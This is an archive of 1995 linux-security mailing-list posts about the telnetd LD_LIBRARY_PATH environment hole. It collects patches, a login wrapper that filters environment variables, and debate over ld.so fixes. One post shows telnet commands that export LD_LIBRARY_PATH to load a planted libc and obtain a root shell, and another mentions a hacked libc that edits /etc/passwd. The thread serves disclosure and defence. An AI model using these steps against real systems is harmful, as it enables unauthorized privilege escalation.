"LD_", 3) && + strncmp(*cpp, "_RLD_", 5) && + strncmp(*cpp, "LIBPATH=", 8) && + #endif + strncmp(*cpp, "IFS=", 4)) + *cpp2++ = *cpp; + } + *cpp2 = 0; + } /* *** telnetd.h.orig Thu Nov 2 20:14:33 1995 --- telnetd.h Thu Nov 2 19:52:14 1995 *************** *** 47,49 **** --- 47,54 ---- /* other external variables */ extern char **environ; extern int errno; + + #define TELOPT_ENVIRON TELOPT_OLD_ENVIRON + #define ENV_VAR OLD_ENV_VAR + #define ENV_VAR OLD_ENV_VAR + #define ENV_VALUE OLD_ENV_VALUE Regards, Phone: (604)389-3827 Cy Schubert OV/VM: BCSC02(CSCHUBER) Open Systems Support BITNET: [email protected] BC Systems Corp. Internet: [email protected] [email protected] "Quit spooling around, JES do it." -- [email protected] | Linux : the choice of a GNU generation From [email protected] Mon Nov 6 16:25:32 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id QAA10289; Mon, 6 Nov 1995 16:08:24 -0500 Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id QAA10243; Mon, 6 Nov 1995 16:04:15 -0500 Date: Mon, 6 Nov 1995 16:04:15 -0500 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected] Subject: Surge in list traffic, pending removal of linux-alert-digest. X-Quote-I-Like: "Let's call it an accidental feature." --Larry Wall. X-Mailer: VM 5.94 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list As most of you have probably noticed, there has been a sudden surge in linux-security list traffic--primarily related to the telnetd/login hole. If you find that you're getting more messages than you want from this list, you may want to unsubscribe from the linux-security list and subscribe yourself to the linux-alert-digest list. (You will then get all the traffic in summary/digest messages, delayed until either 500 lines of posts have built up or until one week has passed since the first post in the digest, whichever occurs first.) I am, for the most part, just forwarding on posts related to telnetd/login due to there being so many of them and my not having time to analyze them for correctness (especially in the cases of code patches, which I am forwarding on untested and largely unread). If you find problems with a patch, please let me know and I will forward it on to the list. As for the linux-alert-digest list, I have decided that it is pretty much useless; there are very few linux-alert posts, so subscribers to linux-alert-digest wind up getting the same number of messages as linux-alert subscribers--only the messages (usually important ones!) are delayed by one week. This being the case, I plan on removing the linux-alert-digest list from the server and moving all of its subscribers over to the linux-alert list. I will pass word via all lists once this is done. (I may also make some sort of c.o.l.announce post.) I plan on doing this sometime in November (hopefully). --Up. -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ From [email protected] Mon Nov 6 16:25:32 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id QAA10279; Mon, 6 Nov 1995 16:07:53 -0500 Received: from dfw.net (dfw.net [198.175.15.10]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id PAA10049; Mon, 6 Nov 1995 15:35:32 -0500 Received: by dfw.net (4.1/SMI-4.1) id AA02374; Mon, 6 Nov 95 14:32:42 CST Date: Mon, 6 Nov 1995 14:32:41 -0600 (CST) From: Aleph One To: medulla Cc: [email protected] Subject: Re: linux a.out ld.so problem In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Where you fall in the same trap that telnetd did. You are obiusly root because you need to be to run strace on ls. There for the test for suidness will fail because ruid == euid. Try doing the test without being root. Aleph One / [email protected] http://underground.org/ KeyID 1024/948FD6B5 Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01 On Mon, 6 Nov 1995, medulla wrote: > Date: Mon, 6 Nov 1995 06:11:30 -0500 (EST) > From: medulla > To: [email protected] > Subject: linux a.out ld.so problem > > While I was playing around with the telnetd hole, I noticed something > terribly wrong with a.out systems (elf is fine in my test). It seems that > even if a program is suid or sgid, that the LD_LIBRARY_PATH is still being > used, so setting login g+s will have no effect (and more worrisome is that > any suid program can be abused to get root). Here is a example, am I missing > something obvious? The ld.so man page clearly says the variable(s) are > ignored when the app is suid or sgid, but this doesnt appear to be the case. > --- snip > hfpa:~# cp /lib/libc.so.4 /tmp > hfpa:~# cp /bin/ls . > hfpa:~# chmod g+s ls > hfpa:~# strace -o ls.1 ./ls > > hfpa:~# grep /tmp ls.1 > hfpa:~# setenv LD_LIBRARY_PATH /tmp > hfpa:~# strace -o ls.2 ./ls > > hfpa:~# grep /tmp ls.2 > uselib("/tmp/libc.so.4") = 0 > > --- snip > From [email protected] Mon Nov 6 17:11:50 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id RAA11238; Mon, 6 Nov 1995 17:06:04 -0500 Received: from dfw.net (dfw.net [198.175.15.10]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id QAA10980; Mon, 6 Nov 1995 16:48:06 -0500 Received: by dfw.net (4.1/SMI-4.1) id AA05341; Mon, 6 Nov 95 15:45:24 CST Date: Mon, 6 Nov 1995 15:45:23 -0600 (CST) From: Aleph One To: [email protected] Cc: [email protected], [email protected] Subject: Re: BoS: Telnetd Environment Vulnerability In-Reply-To: <[email protected]> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Althrough this is more secure you are making assmptions about what kind of softwrare the site run. There may be any number of variable that are plattaform indepenand, etc. The best fix I've seen yet is the aproach taken by HP. You must tell the compiler by means of a flag that you want your program to use the LD_* variables. This secures all software, but mantains the flexibility for the developer how just needs to compile with this flags. The down side are that a) the gcc maintainers would have to add this to the linux compiler (anyone on the gcc mailing list reading this?) b) all software would have to be recompiled. For now compiling telnetd to filter the unwated variables should do. But it would be nice if the gcc people pick this tip up. Aleph One / [email protected] http://underground.org/ KeyID 1024/948FD6B5 Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01 On Mon, 6 Nov 1995, Peter da Silva wrote: [Mod: Quoting trimmed. --Jeff.] > Wouldn't it be safer to do something like: > > if(strncmp(*p1, "TERM=", 5) == 0 || > strncmp(*p1, "DISPLAY=", 8) == 0) *p2++ = *p1; > > Is there any reason to copy the environment over to a possibly completely > different architecture? There's only a few variables that really need to be > transferred... > From [email protected] Mon Nov 6 20:54:22 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id UAA14209; Mon, 6 Nov 1995 20:38:05 -0500 Received: from procyon.com ([email protected] [199.2.240.20]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id UAA14101; Mon, 6 Nov 1995 20:29:54 -0500 Received: (from adrian@localhost) by procyon.com (8.6.12/8.6.11) id SAA25662; Mon, 6 Nov 1995 18:30:28 -0600 Date: Mon, 6 Nov 1995 18:30:28 -0600 From: [email protected] (Adrian ) Message-Id: <[email protected]> To: [email protected], [email protected] Subject: Re: linux a.out ld.so problem Sender: [email protected] Precedence: list > While I was playing around with the telnetd hole, I noticed something > terribly wrong with a.out systems (elf is fine in my test). It seems that > even if a program is suid or sgid, that the LD_LIBRARY_PATH is still being > used, so setting login g+s will have no effect (and more worrisome is that > any suid program can be abused to get root). Here is a example, am I missing > something obvious? The ld.so man page clearly says the variable(s) are > ignored when the app is suid or sgid, but this doesnt appear to be the case. > --- snip > hfpa:~# cp /lib/libc.so.4 /tmp > hfpa:~# cp /bin/ls . > hfpa:~# chmod g+s ls > hfpa:~# strace -o ls.1 ./ls > > hfpa:~# grep /tmp ls.1 > hfpa:~# setenv LD_LIBRARY_PATH /tmp > hfpa:~# strace -o ls.2 ./ls > > hfpa:~# grep /tmp ls.2 > uselib("/tmp/libc.so.4") = 0 > > --- snip I'm not sure why elf might be different, but I see a problem with your demonstration. I'm assuming that the "#" in your prompt means that you are root. The key thing is not that the s-uid bit is set on the target binary, when you attempt to alter the LD_LIBRARY_PATH. Rather it is the difference between the ruid and the euid when the target binary loads. When a normal user executes a set-uid binary owned by root, that normal users uid will remain the real-uid while then effective-uid will be changed to root, so the two won't match, and the LD_LIBRARY_PATH environment variable will be ignored. If you are root when you execute the target binary, the set-uid bit on a root owned set-uid binary will have no real effect. The ruid and euid will still be equal, so the LD_LIBRARY_PATH variable will have its effect. --- L. Adrian Griffis [email protected] linux-security/1995/linux-security.951107100664 1767 1767 17446 6047737613 17301 0ustar majdommajdomFrom [email protected] Tue Nov 7 11:27:51 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id LAA22459; Tue, 7 Nov 1995 11:01:36 -0500 Received: from macshack.com ([email protected] [199.171.83.99]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id AAA16985; Tue, 7 Nov 1995 00:37:15 -0500 Received: (from mikemc@localhost) by macshack.com (8.6.11/8.6.9) id AAA14485; Tue, 7 Nov 1995 00:36:53 -0500 Date: Tue, 7 Nov 1995 00:36:52 -0500 (EST) From: Mike McCammant To: [email protected] cc: [email protected] Subject: Re: Fwd: CERT Advisory CA-95:14 - Telnetd Environment Vulnerability In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list I completed compiling and installing the wrapper on my linux system and it appears to work great. However, I wanted info on who/when/how this was attempted. So I added a few lines to do a syslog dump and close the connection. If you don't want to close the connection, just remove the exit(1) statement as noted in the code. -------------------------cut here------------------------- /* * This is a login wrapper that removes all instances of * various variables from the environment. * * Note: this program must be compiled statically to be * effective against exploitation. * /usr/bin/cc -static -D_PPATH_LOGIN=\"/bin/login.real\" -O wrap.c -o wrap * * Author: Lawrence R. Rogers * * 10/25/95 version 1.1 Original version * 10/26/95 version 1.2 ELF_ variables removed (Linux) * 10/27/95 version 1.3 ELF_ changed to ELF_LD_ * Added AOUT_LD_ (Linux) * * 11/6/95 version 1.4 Added a cheap dump of the argv array to * syslog. I like to know ;) * Mike McCammant ([email protected]) * */ #if !defined(_PPATH_LOGIN) #define _PPATH_LOGIN "/bin/login.real" #endif #include #include main (argc, argv, envp) int argc; char **argv, **envp; { register char **p1, **p2; int i; for (p1 = p2 = envp; *p1; p1++) { if (strncmp(*p1, "LD_", 3) != 0 && strncmp(*p1, "_RLD", 4) != 0 && strncmp(*p1, "LIBPATH=", 8) != 0 && strncmp(*p1, "ELF_LD_", 7) != 0 && strncmp(*p1, "AOUT_LD_", 8) != 0 && strncmp(*p1, "IFS=", 4) != 0 ) { *p2++ = *p1; } else { /* here is a break in ??? */ syslog(LOG_ALERT, "Breakin attempt: %s", *p1); for(i=0;i From: Jeff Uphoff To: [email protected] Cc: [email protected] Subject: Re: double security digest vol 01 number 043 In-Reply-To: Your message of Tue, November 7, 1995 12:46:54 CET References: <[email protected]> X-Palindrome: Straw warts. X-Mailer: VM 5.94 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- "MVD" == Marc VAN DIEST writes: MVD> I received this week two linux security digest with the same number, both MVD> dated sun 05-11-1995. I also noticed that this had happened. I appears to be due to a bug in Majordomo. MVD> The contents are, according to a diff, certainly not the same. There were indeed two #43 digests, with completely different contents. Unfortunately, since the digests' archive filenames are based on their number, only the second #43 now resides in the FTP archive (having overwritten the first). MVD> Is there something wrong in the numbering, or is one of them a fake? The problem is that I approved, en masse, a large number of posts to linux-security, one of which was, single-handedly, over the digest-generation threshold (500 lines). Majordomo was not finished processing the first digest when it found that it had to generate a second, and it does not appear to do any locking on the file that contains the sequence numbers (the digest list's master configuration file). I don't really plan on trying to track and correct this bug (it could turn out to be a bit of a time sink)--I'll just be more careful about approving large numbers of posts in the future. MVD> For security issues such strange things ring bells. I agree. - --Up. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMJ+CArxzFUpUTHgFAQG/wwQAjPtRcRMjfpBslCTEtuK4+q9y9TEJamqI O6lnwy9+cIHMCpPG39pmbuVlaziw8DerZryuaP4YWV8Bo2+tAWCUcLjehdSZooFk deASYseIL4J8B52+XGC1H0q34deMGyfI9fsCMALisA92vw+5Se3S1Zr69y3w6Fu7 vyLnixI9k0M= =axb1 -----END PGP SIGNATURE----- From [email protected] Tue Nov 7 15:20:21 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id PAA23851; Tue, 7 Nov 1995 15:02:45 -0500 Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id OAA23678; Tue, 7 Nov 1995 14:31:24 -0500 Date: Tue, 7 Nov 1995 14:31:24 -0500 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected] Subject: Re: Surge in list traffic, pending removal of linux-alert-digest. In-Reply-To: Your message of Mon, November 6, 1995 16:04:15 -0500 References: <[email protected]> X-Zippy: Hold the MAYO & pass the COSMIC AWARENESS... X-Mailer: VM 5.94 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- "Up" == Jeff Uphoff writes: Up> If you find that you're getting more messages than you want from Up> this list, you may want to unsubscribe from the linux-security list Up> and subscribe yourself to the linux-alert-digest list. ^^^^^ Oops! There's a typo in the above that I must correct. That should read "linux-security-digest", (*not* "linux-alert-digest"). Thanks to Kai Henningsen for pointing this mistake out to me. - --Up. - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMJ+z9rxzFUpUTHgFAQEAuQQAvkOyOsJRrk/qdZiAGi7ZjB3Qu4X0ATK3 3lrrj5jpN2amNpS0Ylvz1rCfEMvvGYXbq3ZNL87AkHSQpddTdsUatFqzWyc0zkRC FW3trZwSATDJWPAgASae0BJ0CB7byra8gpjiOXBOaVYMFFcHhTKFSGX9jrid9Kso 9NEz6OesTyE= =F/mI -----END PGP SIGNATURE----- linux-security/1995/linux-security.951108100664 1767 1767 76633 6050301516 17264 0ustar majdommajdomFrom [email protected] Wed Nov 8 16:23:48 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id PAA00123; Wed, 8 Nov 1995 15:31:13 -0500 Received: from ereet.org (pdial1.brainiac.com [165.90.139.101]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id AAA16835; Tue, 7 Nov 1995 00:29:18 -0500 Received: (from medulla@localhost) by ereet.org (8.6.12/8.6.9) id AAA00074; Tue, 7 Nov 1995 00:24:41 -0500 Date: Tue, 7 Nov 1995 00:24:29 -0500 (EST) From: medulla To: Aleph One cc: [email protected] Subject: Re: linux a.out ld.so problem In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Mon, 6 Nov 1995, Aleph One wrote: > Where you fall in the same trap that telnetd did. You are obiusly root > because you need to be to run strace on ls. There for the test for suidness > will fail because ruid == euid. Try doing the test without being root. Well, that was just a sample. I managed to get root with a libc patch with login sgid, suid, and sug and sgid. It makes no difference on the a.out machines I tested it on (all nonshadowed). > > Aleph One / [email protected] > http://underground.org/ > KeyID 1024/948FD6B5 > Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01 > From [email protected] Wed Nov 8 16:23:52 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id PAA00131; Wed, 8 Nov 1995 15:31:46 -0500 Received: from ereet.org (pdial1.brainiac.com [165.90.139.101]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id AAA17154; Tue, 7 Nov 1995 00:47:12 -0500 Received: (from medulla@localhost) by ereet.org (8.6.12/8.6.9) id AAA00109; Tue, 7 Nov 1995 00:41:59 -0500 Date: Tue, 7 Nov 1995 00:41:49 -0500 (EST) From: medulla To: Adrian cc: [email protected] Subject: Re: linux a.out ld.so problem In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Mon, 6 Nov 1995, Adrian wrote: > > I'm not sure why elf might be different, but I see a problem with > your demonstration. I'm assuming that the "#" in your prompt means > that you are root. The key thing is not that the s-uid bit is set > on the target binary, when you attempt to alter the LD_LIBRARY_PATH. > Rather it is the difference between the ruid and the euid when the > target binary loads. When a normal user executes a set-uid binary > owned by root, that normal users uid will remain the real-uid while > then effective-uid will be changed to root, so the two won't match, > and the LD_LIBRARY_PATH environment variable will be ignored. If > you are root when you execute the target binary, the set-uid bit > on a root owned set-uid binary will have no real effect. The > ruid and euid will still be equal, so the LD_LIBRARY_PATH variable > will have its effect. You're right, my demonstration is quite flawed :( here is a somewhat better one I just did... hfpa:~> ls -l /bin/login -rwxr-sr-x 1 root daemon 6752 Nov 7 00:46 /bin/login hfpa:~> ls -l /tmp/libc.so.4 -rw-rw-r-- 1 medulla users 716612 Nov 7 00:51 /tmp/libc.so.4 hfpa:~> id uid=504(medulla) gid=100(users) groups=100(users),0(root),18(web) hfpa:~> telnet telnet> env def LD_LIBRARY_PATH /tmp telnet> env exp LD_LIBRARY_PATH telnet> o localhost Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. Welcome to hfpa medulla@localhost! Linux 1.2.13 (hfpa.thepoint.net) (ttyp1) hfpa login: nosuchuser Password: bash# id uid=0(root) gid=0(root) egid=2(daemon) > > --- > L. Adrian Griffis > [email protected] > > From [email protected] Wed Nov 8 16:23:52 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id PAA00148; Wed, 8 Nov 1995 15:32:31 -0500 Received: from TNET.portage.net (TNET.portage.net [204.112.250.36]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id AAA17271; Tue, 7 Nov 1995 00:55:31 -0500 Received: (from root@localhost) by TNET.portage.net (8.6.12/8.6.9) id XAA05484; Mon, 6 Nov 1995 23:55:20 -0600 Date: Mon, 6 Nov 1995 23:55:19 -0600 (CST) From: SysAdmin - TNET Systems To: Joshua Cowan cc: [email protected] Subject: Re: ld.so gaping hole. In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Mon, 6 Nov 1995, Joshua Cowan wrote: > CG> the telnetd hole was minor, because anyone could use the I meant simply, the alledged 'telnet bug' was only a symtom of a much larger problem, which is the hole(s) in ld.so. > CG> LD_LIBRARY_PATH and LD_PRELOAD to get root with just about > CG> anything. patching login, telnetd, ect ect is not going to > CG> fix this problem. > > Uh, no. And yes, patching `telnetd' (or statically linking `login', > or using a wrapper) will fix this problem. > I meant it will not fix the 'ld.so' hole. I don't think you understand how big this hole is or how much of a problem it is. A wrapper on 'login' or modifications to 'telnetd' will fix the telnet hole. Staticly linking login, as well as setting the SUID/GUID bits did not correct the problem for me. I am using a.out 1.3.37, ld.so 1.5.3. None of the 'quick fixes' other then modifying telnetd worked for me. I am baffled on why static linking did not work. However, a few have reported the same results with static linking. :/ > CG> LD_PRELOAD, LD_LIBRARY_PATH are really not needed. If you > > Although I agree that many utilities are at least somewhat subject to > creeping featurism, I would have to disagree with this one. If you > want to test a dynamically-linked binary without installing the > dynamic-lib (and you don't want to use `-rpath'), then this becomes > very useful. > * > CG> are going to use them, rename them, hash the names up in the > CG> ld.so binary (evade strings), or use some sort of protocol > CG> for specifying them. > > You may as well disable them altogether if you are going to do this. > Besides, this is not virus code we are dealing with and we don't need > really to ``hide'' the variables values from anyone. > The point is: any user can run 'strings' on 'ld.so' and check for the names of the environment variables. Masking these names from 'strings' would be an appropriate answer to this problem. Remember, this is about security, and the balance of security between ease of use. > CG> For example, modify the ld.so.c file to search for a special > CG> char, of your choosing, in the environment variables. If > CG> not present, ignore the variables. > > Again, this is (IMHO) pointless --- you may as well remove the > features altogether. It is very conceivable that other users on the > system may have need for these features, in which case doing this > would only make your job more difficult. > * If you have users wanting to redirect the loading of a library, then the users should very well be informed of the new names of the environment variables. I cannot see how this would be a problem. If you have developers on your system, and trust them to use different libraries, then they are obviously trusted enough to obtain this information Another option, and a much better one at that, would be to edit ld.so.c to only allow the use of these environment vars if the user belongs to a specific group, eg: developers Using this method, you could keep the old names of the environment vars, and allow trusted users access to that particular group. > CG> So not only to you get to save disk space (although nominal) > CG> over adding patches, or wrappers... you get an even much > CG> more securer system. > > Well, I'd have to agree that it _is_ more secure, although I don't > know how much. I personally think that the features are worth what > little trouble they cause. > consider a user having used another program, other then 'login', to gain access to this hole. This is what I am trying to avoid. Any SUID binary on your system can be exploited this way. Chad Giffin TNET Information Systems, Canada (204) 857-5754 [email protected] --- From [email protected] Wed Nov 8 16:24:02 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id PAA00112; Wed, 8 Nov 1995 15:30:45 -0500 Received: from jcowan.reslife.okstate.edu ([email protected] [139.78.232.29]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id WAA15556; Mon, 6 Nov 1995 22:53:51 -0500 Received: (from jcowan@localhost) by jcowan.reslife.okstate.edu (8.7/8.7) id VAA29247; Mon, 6 Nov 1995 21:52:33 -0600 Date: Mon, 6 Nov 1995 21:52:33 -0600 Message-Id: <[email protected]> From: Joshua Cowan X-Spook: bomb Treasury North Korea Legion of Doom Cocaine SDI X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Josh To: SysAdmin - TNET Systems Cc: [email protected] Subject: Re: ld.so gaping hole. In-Reply-To: References: Win-95: dissatisfaction guaranteed. Sender: [email protected] Precedence: list >>>>> "Chad" == SysAdmin <- TNET Systems > writes: Chad> the telnetd hole was minor, because anyone could use the Chad> LD_LIBRARY_PATH and LD_PRELOAD to get root with just about Chad> anything. patching login, telnetd, ect ect is not going to Chad> fix this problem. Uh, no. And yes, patching `telnetd' (or statically linking `login', or using a wrapper) will fix this problem. Chad> LD_PRELOAD, LD_LIBRARY_PATH are really not needed. If you Although I agree that many utilities are at least somewhat subject to creeping featurism, I would have to disagree with this one. If you want to test a dynamically-linked binary without installing the dynamic-lib (and you don't want to use `-rpath'), then this becomes very useful. Chad> are going to use them, rename them, hash the names up in the Chad> ld.so binary (evade strings), or use some sort of protocol Chad> for specifying them. You may as well disable them altogether if you are going to do this. Besides, this is not virus code we are dealing with and we don't need really to ``hide'' the variables values from anyone. Chad> For example, modify the ld.so.c file to search for a special Chad> char, of your choosing, in the environment variables. If Chad> not present, ignore the variables. Again, this is (IMHO) pointless --- you may as well remove the features altogether. It is very conceivable that other users on the system may have need for these features, in which case doing this would only make your job more difficult. Chad> So not only to you get to save disk space (although nominal) Chad> over adding patches, or wrappers... you get an even much Chad> more securer system. Well, I'd have to agree that it _is_ more secure, although I don't know how much. I personally think that the features are worth what little trouble they cause. Chad> (not counting the fact that I had gotten previously the Chad> source to an ELF ld.so when I am a.out :/ 1.7.3 is elf, and Chad> elf only. For a.out users, use 1.5.3) 1.7.10 is for ELF _and_ a.out. If you are going to ``upgrade'' `ld.so', use this one. -- Joshua Cowan __| I don't want to listen http://hermit.reslife.okstate.edu/~jcowan | but it's all too clear... Computer Engineering Student -- Oklahoma State University -- Stillwater, OK PGP key available from any PGP keyserver or by fingering the above address. From [email protected] Wed Nov 8 16:44:48 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id QAA00422; Wed, 8 Nov 1995 16:27:44 -0500 Received: from inorganic5.chem.ufl.edu ([email protected] [128.227.16.134]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id BAA17634; Tue, 7 Nov 1995 01:08:36 -0500 Received: (from jlewis@localhost) by inorganic5.chem.ufl.edu (8.6.12/8.6.12) id BAA11941; Tue, 7 Nov 1995 01:07:32 -0500 Date: Tue, 7 Nov 1995 01:07:32 -0500 (EST) From: Jon Lewis To: medulla cc: [email protected] Subject: Re: linux a.out ld.so problem In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Mon, 6 Nov 1995, medulla wrote: > something obvious? The ld.so man page clearly says the variable(s) are > ignored when the app is suid or sgid, but this doesnt appear to be the case. > hfpa:~# setenv LD_LIBRARY_PATH /tmp > hfpa:~# strace -o ls.2 ./ls > > hfpa:~# grep /tmp ls.2 > uselib("/tmp/libc.so.4") = 0 I get the same thing and thought at first that it might be caused by you doing all this as root...but its not. I get the same results...but I think it may not be a problem. Even though I see the 'uselib("/tmp/libc.so.4") = 0' in the trace, I see none of the signs that my hacked libc was actually used. It should have tried adding to /etc/passwd and created a file in /tmp...but neither happened, and I know this libc will work when used in the telnet hole. ------------------------------------------------------------------ Jon Lewis | Mime attachments are OK [email protected] | But please ask before sending http://inorganic5.chem.ufl.edu | unsolicited huge files. | _____Finger [email protected] for PGP public key_____ From [email protected] Wed Nov 8 16:45:10 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id QAA00430; Wed, 8 Nov 1995 16:29:49 -0500 Received: from hg.oro.net ([email protected] [198.68.62.43]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id CAA19317; Tue, 7 Nov 1995 02:55:46 -0500 Received: (from news@localhost) by hg.oro.net (8.6.12/8.6.12) id XAA26916; Mon, 6 Nov 1995 23:55:44 -0800 To: [email protected] Path: smudge.oro.net!not-for-mail From: [email protected] (Scott Jennings) Newsgroups: oro.list.linux-security Subject: "Source Route Failed" anyone else? Date: 7 Nov 1995 07:55:40 GMT Organization: Administration at: oronet, full service internet access 916-477-6650 916-751-8111 Lines: 296 Message-ID: <[email protected]> NNTP-Posting-Host: smudge.oro.net X-Newsreader: TIN [UNIX 1.3 941216BETA PL0] Sender: [email protected] Precedence: list I didn't think anyone still transited source routed packets... I get this much every day. Is this normal, or is someone pounding on the door? Oct 30 18:11:28 au.oro.net kernel: ICMP: 152.163.172.53: Source Route Failed. Oct 30 18:44:50 au.oro.net kernel: ICMP: 199.191.145.102: Source Route Failed. Oct 30 19:28:19 au.oro.net kernel: ICMP: 198.81.10.12: Source Route Failed. Oct 30 20:27:28 au.oro.net kernel: ICMP: 198.81.10.12: Source Route Failed. Oct 30 20:42:20 au.oro.net kernel: ICMP: 199.191.145.102: Source Route Failed. Oct 30 20:45:32 au.oro.net kernel: ICMP: 192.82.108.1: Source Route Failed. [Mod: Roughly 300 similar lines deleted in the interest of conserving bandwidth. --Jeff.] From [email protected] Wed Nov 8 16:46:00 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id QAA00447; Wed, 8 Nov 1995 16:30:37 -0500 Received: from jcowan.reslife.okstate.edu ([email protected] [139.78.232.29]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id DAA19773; Tue, 7 Nov 1995 03:28:41 -0500 Received: (from jcowan@localhost) by jcowan.reslife.okstate.edu (8.7/8.7) id CAA30299; Tue, 7 Nov 1995 02:24:24 -0600 Date: Tue, 7 Nov 1995 02:24:24 -0600 Message-Id: <[email protected]> From: Joshua Cowan X-Spook: terrorist Uzi Cocaine Mossad colonel bomb X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Josh To: SysAdmin - TNET Systems Cc: [email protected] Subject: Re: ld.so gaping hole. In-Reply-To: References: <[email protected]> Win-95: more than enough rope. Sender: [email protected] Precedence: list >>>>> "CG" == SysAdmin <- TNET Systems > writes: CG> I meant it will not fix the 'ld.so' hole. I don't think you CG> understand how big this hole is or how much of a problem it CG> is. This is correct, I don't understand how big this ``hole'' is or even where it is. ;-) I don't think you understand this feature's implementation, but that doesn't mean you don't. :-) CG> other then modifying telnetd worked for me. I am baffled on CG> why static linking did not work. However, a few have reported CG> the same results with static linking. :/ Hmm... If this is accurate, then this _is_ a problem (again, IMHO) --- albeit not the ``hole'' that you are reporting. I don't see how the dynamic linker can be coerced into replacing symbols in the executable image with external ones, tho --- it's job is to resolve the undefined symbols only, AFIAK. CG> The point is: any user can run 'strings' on 'ld.so' and check CG> for the names of the environment variables. Masking these CG> names from 'strings' would be an appropriate answer to this CG> problem. Remember, this is about security, and the balance of CG> security between ease of use. I don't think this is a problem under the current implementation: it would be a pain for each site to generate a ``password'' so it could protect a feature of `ld.so' from ``normal'' users (I say ``password'' because that is essentially what this is doing). As far as increased security with the dynamic linker, the HP implementation as described by Aleph One is the best I've heard thus far (although it would mean another big change in the system software). I happen to think the implementation of `ld.so' is _at_least_ adequate, tho. CG> would be a problem. If you have developers on your system, CG> and trust them to use different libraries, then they are CG> obviously trusted enough to obtain this information CG> if the user belongs to a specific group, eg: developers Using CG> this method, you could keep the old names of the environment CG> vars, and allow trusted users access to that particular group. I imagine this being bothersome, especially when you consider that, if you use the first suggestion, you will have to implement a site-dependent method of generating the environment strings (and that would be a _big_ problem for distribution developers). As for the second, sites would inevitably end up with uid 0 in the group of trusted users and encounter the same problem all over again. CG> 'login', to gain access to this hole. This is what I am CG> trying to avoid. Any SUID binary on your system can be CG> exploited this way. It (the telnetd hole) has nothing to do with the binary being suid/sgid. -- Joshua Cowan __| I don't want to listen http://hermit.reslife.okstate.edu/~jcowan | but it's all too clear... Computer Engineering Student -- Oklahoma State University -- Stillwater, OK PGP key available from any PGP keyserver or by fingering the above address. From [email protected] Wed Nov 8 17:13:44 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id QAA00629; Wed, 8 Nov 1995 16:55:10 -0500 Received: from server.et-inf.fho-emden.de (server.et-inf.fho-emden.de [192.129.16.1]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id TAA26742; Tue, 7 Nov 1995 